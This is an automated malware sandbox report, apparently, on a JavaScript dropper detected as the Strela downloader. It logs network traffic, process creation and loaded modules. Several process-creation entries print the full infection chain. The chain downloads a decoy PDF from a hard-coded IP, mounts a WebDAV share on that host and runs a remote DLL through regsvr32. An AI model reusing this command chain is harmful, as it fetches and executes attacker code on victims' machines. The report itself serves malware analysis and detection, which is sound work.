HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2039920061.00000180592C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2040543747.00000180592B8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2042265954.00000180592D4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2039518326.00000180592D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2091913825.00000125A1248000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2091976072.00000125A1279000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2092093217.00000125A129D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2091322616.00000125A1279000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2090345141.00000125A129B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2091976072.00000125A1279000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2091322616.00000125A1279000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r8
Source: svchost.exe, 00000009.00000002.3321884691.000001A72B400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2091467391.000001A72B1B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6604, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 21033090848109083.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:348:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xran2qie.ryj.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1656,i,4834674528710319453,17200354492000707701,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1656,i,4834674528710319453,17200354492000707701,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
